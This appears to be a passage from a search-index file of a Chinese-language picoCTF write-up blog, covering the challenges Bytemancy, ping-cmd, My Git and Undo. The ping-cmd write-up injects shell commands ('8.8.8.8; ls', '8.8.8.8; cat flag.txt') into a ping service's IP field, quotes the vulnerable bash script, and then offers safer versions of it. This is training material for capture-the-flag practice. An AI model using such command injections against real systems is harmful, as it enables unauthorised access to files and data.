style=\"display:flex;\"\u003e\u003cspan\u003e      print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;That wasn\u0026#39;t it. I got: \u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e str(user_input))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eException\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e","title":"Bytemancy 0"},{"content":"題目連結 https://learn.cylabacademy.org/library/757\n題目解法 啟動後透過 nc 指令連線，連線後內容大致如下，可以輸入一個 IP 位址（題目為了安全性只允許8.8.8.8）。\n$ nc mysterious-sea.picoctf.net 54500 Enter an IP address to ping! (We have tight security because we only allow \u0026#39;8.8.8.8\u0026#39;): 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=8.44 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=8.43 ms --- 8.8.8.8 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 8.433/8.438/8.444/0.005 m 根據提示及猜測，題目極有可能是使用 ping 指令後面加上使用者輸入的內容，因此可能存在指令注入（Command Injection）。因此可以嘗試在 IP 位址後面加上 ; 再加上其他指令來執行，以下為嘗試的指令。可以看到執行後列出當前目錄下有兩個檔案，分別是 flag.txt 和 script.sh。\n$ nc mysterious-sea.picoctf.net 54500 Enter an IP address to ping! (We have tight security because we only allow \u0026#39;8.8.8.8\u0026#39;): 8.8.8.8; ls PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=8.41 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=8.44 ms --- 8.8.8.8 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 8.408/8.425/8.442/0.017 ms flag.txt script.sh 接著嘗試使用 cat 指令來查看 flag.txt 的內容，成功取得 flag。\n$ nc mysterious-sea.picoctf.net 54500 Enter an IP address to ping! (We have tight security because we only allow \u0026#39;8.8.8.8\u0026#39;): 8.8.8.8; cat flag.txt PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=8.41 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=8.43 ms --- 8.8.8.8 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 8.412/8.423/8.434/0.011 ms picoCTF{p1n----------------------------------4f2} 同廠加映 在注入 ls 指令時可以看到其實題目也有提供 script.sh 內容，內容如下：\n1 2 3 4 #!/bin/bash echo -n \u0026#34;Enter an IP address to ping! (We have tight security because we only allow \u0026#39;8.8.8.8\u0026#39;): \u0026#34; read domain bash -c \u0026#34;ping -c2 $domain\u0026#34; 可以看到腳本是直接將使用者輸入的內容放入 bash -c 裡面執行，因此會有指令注入（Command Injection）的問題，至於要如何安全執行呢，可以使用以下幾種方法。\n移除 bash -c 與不必要的 Shell 解析\n1 2 3 4 5 6 #!/bin/bash echo -n \u0026#34;Enter an IP address to ping!: \u0026#34; read domain # 即使這裡加了引號，在某些情況下仍可能被繞過，建議搭配下方的過濾機制 ping -c2 \u0026#34;$domain\u0026#34; 使用嚴格的正規表示法（Regex）驗證\n1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash echo -n \u0026#34;Enter an IP address: \u0026#34; read domain # 定義 IPv4 的正規表示法格式 if [[ $domain =~ ^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$ ]]; then ping -c2 \u0026#34;$domain\u0026#34; else echo \u0026#34;Invalid input! Only IP addresses are allowed.\u0026#34; exit 1 fi ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/ping-cmd/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/757\"\u003ehttps://learn.cylabacademy.org/library/757\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e啟動後透過 \u003ccode\u003enc\u003c/code\u003e 指令連線，連線後內容大致如下，可以輸入一個 IP 位址（題目為了安全性只允許\u003ccode\u003e8.8.8.8\u003c/code\u003e）。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ nc mysterious-sea.picoctf.net 54500\nEnter an IP address to ping! (We have tight security because we only allow \u0026#39;8.8.8.8\u0026#39;): 8.8.8.8\nPING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.\n64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=8.44 ms\n64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=8.43 ms\n\n--- 8.8.8.8 ping statistics ---\n2 packets transmitted, 2 received, 0% packet loss, time 1002ms\nrtt min/avg/max/mdev = 8.433/8.438/8.444/0.005 m\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e根據提示及猜測，題目極有可能是使用 ping 指令後面加上使用者輸入的內容，因此可能存在\u003cstrong\u003e指令注入（Command Injection）\u003c/strong\u003e。因此可以嘗試在 IP 位址後面加上 \u003ccode\u003e;\u003c/code\u003e 再加上其他指令來執行，以下為嘗試的指令。可以看到執行後列出當前目錄下有兩個檔案，分別是 \u003ccode\u003eflag.txt\u003c/code\u003e 和 \u003ccode\u003escript.sh\u003c/code\u003e。\u003c/p\u003e","title":"ping-cmd"},{"content":"題目連結 https://learn.cylabacademy.org/library/762\n題目解法 將題目提供的原始碼下載後，可以看到第11行顯示當使用者輸入 1751 個 e 時，就會印出 flag。\napp.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 while(True): try: print(\u0026#39;⊹──────[ BYTEMANCY-1 ]──────⊹\u0026#39;) print(\u0026#34;☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐\u0026#34;) print() print(\u0026#39;Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.\u0026#39;) print() print(\u0026#34;☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐\u0026#34;) print(\u0026#39;⊹─────────────⟡─────────────⊹\u0026#39;) user_input = input(\u0026#39;==\u0026gt; \u0026#39;) if user_input == \u0026#34;\\x65\u0026#34;*1751: print(open(\u0026#34;./flag.txt\u0026#34;, \u0026#34;r\u0026#34;).read()) break else: print(\u0026#34;That wasn\u0026#39;t it. I got: \u0026#34; + str(user_input)) print() print() print() except Exception as e: print(e) break 直接輸入 1751 個 e 當然可以獲得 flag，不過比起直接輸入，使用腳本可以更快速地完成。 以下是簡易使用 pwntools 的簡易 python 腳本。\n1 2 3 4 5 6 7 8 9 10 from pwn import * # 連線（請替換成自己題目的網址和 port） r = remote(\u0026#39;foggy-cliff.picoctf.net\u0026#39;, 58509) # 送出 payload r.sendline(b\u0026#39;e\u0026#39; * 1751) # 直接進入互動模式，或是讀到結尾 print(r.recvall().decode()) 回傳的內容就會包含 flag 了。\n⊹──────[ BYTEMANCY-1 ]──────⊹ ☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐ Send me ASCII DECIMAL 101 1751 times, side-by-side, no space. ☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐ ⊹─────────────⟡─────────────⊹ ==\u0026gt; picoCTF{h0w------------------f00} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/bytemancy-1/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/762\"\u003ehttps://learn.cylabacademy.org/library/762\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e將題目提供的原始碼下載後，可以看到第11行顯示當使用者輸入 1751 個 \u003ccode\u003ee\u003c/code\u003e 時，就會印出 flag。\u003cbr\u003e\n\u003ccode\u003eapp.py\u003c/code\u003e\u003cbr\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;⊹──────[ BYTEMANCY-1 ]──────⊹\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;⊹─────────────⟡─────────────⊹\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    user_input \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e input(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;==\u0026gt; \u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e user_input \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\x65\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1751\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      print(open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;./flag.txt\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread())\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;That wasn\u0026#39;t it. I got: \u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e str(user_input))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      print()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eException\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e","title":"Bytemancy 1"},{"content":"題目連結 https://learn.cylabacademy.org/library/764\n題目解法 輸入 ssh 指令以及密碼來 clone 下專案到本地。\n查看 README.md 內容，得知要使用使用者名稱 root、電子郵件 root@picoctf 來推送 flag.txt 到遠端。\n1 2 3 4 5 6 7 8 $ cat README.md # MyGit ### If you want the flag, make sure to push the flag! Only flag.txt pushed by ```root:root@picoctf``` will be updated with the flag. GOOD LUCK! 使用 git config 來設定使用者名稱和電子郵件\n1 2 $ git config --local user.name \u0026#34;root\u0026#34; $ git config --local user.email \u0026#34;root@picoctf\u0026#34; 正常設定時會使用 global 參數，不過這次設定僅套用在此專案，因此使用 local 參數。\n新增 flag.txt\n1 touch flag.txt 新增 commit 並推送到遠端，再推送到遠端時即可得到 flag。\n1 2 3 $ git add flag.txt $ git commit -m \u0026#34;feat: add flag.txt\u0026#34; $ git push 推送後的內容\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ git push git@foggy-cliff.picoctf.net\u0026#39;s password: Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 2 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (3/3), 273 bytes | 273.00 KiB/s, done. Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 remote: Author matched and flag.txt found in commit... remote: Congratulations! You have successfully impersonated the root user remote: Here\u0026#39;s your flag: picoCTF{1mp-----------------------3df} To ssh://foggy-cliff.picoctf.net:58441/git/challenge.git 1f391cc..ff4ce9c master -\u0026gt; master ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/my-git/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/764\"\u003ehttps://learn.cylabacademy.org/library/764\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e輸入 \u003ccode\u003essh\u003c/code\u003e 指令以及密碼來 \u003ccode\u003eclone\u003c/code\u003e 下專案到本地。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e查看 \u003ccode\u003eREADME.md\u003c/code\u003e 內容，得知要使用使用者名稱 \u003ccode\u003eroot\u003c/code\u003e、電子郵件 \u003ccode\u003eroot@picoctf\u003c/code\u003e 來推送 \u003ccode\u003eflag.txt\u003c/code\u003e 到遠端。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e8\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ cat README.md\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# MyGit\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e### If you want the flag, make sure to push the flag!\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOnly flag.txt pushed by \u003cspan style=\"color:#e6db74\"\u003e```\u003c/span\u003eroot:root@picoctf\u003cspan style=\"color:#e6db74\"\u003e```\u003c/span\u003e will be updated with the flag.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGOOD LUCK!\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ccode\u003egit config\u003c/code\u003e 來設定使用者名稱和電子郵件\u003c/p\u003e","title":"My Git"},{"content":"題目連結 https://learn.cylabacademy.org/library/766\n題目解法 透過 nc 指令連線\n步驟一：\n--- Step 1 --- Current flag: KTBxcDI0bnIwLWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj Hint: Base64 encoded the string. Enter the Linux command to reverse it: 要求使用 base64 解密，使用以下指令來解密\nbase64 -d 步驟二：\n--- Step 2 --- Current flag: )0qp24nr0-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc Hint: Reversed the text. Enter the Linux command to reverse it: 要求使用將字串反轉，使用以下指令來反轉\nrev 步驟三：\n--- Step 3 --- Current flag: cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-0rn42pq0) Hint: Replaced underscores with dashes. Enter the Linux command to reverse it: 要求將字串的 \u0026lsquo;-\u0026rsquo; 換成 \u0026lsquo;_\u0026rsquo;, 使用以下指令來替換\ntr \u0026#39;-\u0026#39; \u0026#39;_\u0026#39; 步驟四：\n--- Step 4 --- Current flag: cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_0rn42pq0) Hint: Replaced curly braces with parentheses. Enter the Linux command to reverse it: 要求使用將字串的小括號換成大括號，使用以下指令來反轉\ntr \u0026#39;()\u0026#39; \u0026#39;{}\u0026#39; 步驟五\n--- Step 5 --- Current flag: cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_0rn42pq0} Hint: Applied ROT13 to letters. Enter the Linux command to reverse it: 要求使用 ROT13 加密，使用以下指令來加密\ntr \u0026#39;A-Za-z\u0026#39; \u0026#39;N-ZA-Mn-za-m\u0026#39; 最終得到 flag\npicoCTF{Rev---------------------------------cd0} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/undo/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/766\"\u003ehttps://learn.cylabacademy.org/library/766\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e透過 \u003ccode\u003enc\u003c/code\u003e 指令連線\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e步驟一：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e--- Step 1 ---\nCurrent flag: KTBxcDI0bnIwLWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj\nHint: Base64 encoded the string.\nEnter the Linux command to reverse it:\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e要求使用 base64 解密，使用以下指令來解密\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ebase64 -d\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e步驟二：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e--- Step 2 ---\nCurrent flag: )0qp24nr0-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc\nHint: Reversed the text.\nEnter the Linux command to reverse it:\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e要求使用將字串反轉，使用以下指令來反轉\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003erev\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e步驟三：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e--- Step 3 ---\nCurrent flag: cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-0rn42pq0)\nHint: Replaced underscores with dashes.\nEnter the Linux command to reverse 